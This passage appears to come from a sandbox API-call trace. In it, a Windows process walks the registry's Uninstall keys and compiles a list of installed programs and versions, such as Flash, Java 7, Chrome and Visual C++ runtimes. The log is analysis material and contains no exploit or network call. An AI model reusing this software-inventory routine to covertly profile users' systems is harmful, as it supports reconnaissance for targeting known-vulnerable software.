x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\n", lpUsedDefaultChar=0x0) returned 1115 [0166.386] RegEnumKeyA (in: hKey=0x674, dwIndex=0x24, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 0x0 [0166.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c3c, cbMultiByte=1115, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nserﱠṽ") returned 1115 [0166.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nserﱠṽ") returned 11 [0166.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32174, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nserﱠṽ") returned 90 [0166.387] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x798) returned 0x0 [0166.387] RegQueryValueExW (in: hKey=0x798, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpcbData=0x1e7df794*=0x7a) returned 0x0 [0166.387] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321dc, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nserﱠṽ") returned 14 [0166.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32270, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}02d}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nserﱠṽ") returned 90 [0166.387] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x79c) returned 0x0 [0166.387] RegQueryValueExW (in: hKey=0x79c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="12.0.30501.0", lpcbData=0x1e7df78c*=0x1a) returned 0x0 [0166.388] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.388] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\n", cchWideChar=1191, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\n", lpUsedDefaultChar=0x0) returned 1191 [0166.388] RegEnumKeyA (in: hKey=0x674, dwIndex=0x25, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 0x0 [0166.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf8028, cbMultiByte=1191, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\n") returned 1191 [0166.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\n") returned 11 [0166.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ad8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\n") returned 90 [0166.388] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7a0) returned 0x0 [0166.388] RegQueryValueExW (in: hKey=0x7a0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpcbData=0x1e7df794*=0x78) returned 0x0 [0166.388] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b40, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\n") returned 14 [0166.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322e8, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}9A5}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\n") returned 90 [0166.389] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7a4) returned 0x0 [0166.389] RegQueryValueExW (in: hKey=0x7a4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="10.0.40219", lpcbData=0x1e7df78c*=0x16) returned 0x0 [0166.389] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.389] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n", cchWideChar=1264, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n2", lpUsedDefaultChar=0x0) returned 1264 [0166.389] RegEnumKeyA (in: hKey=0x674, dwIndex=0x26, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned 0x0 [0166.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32350, cbMultiByte=1264, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto 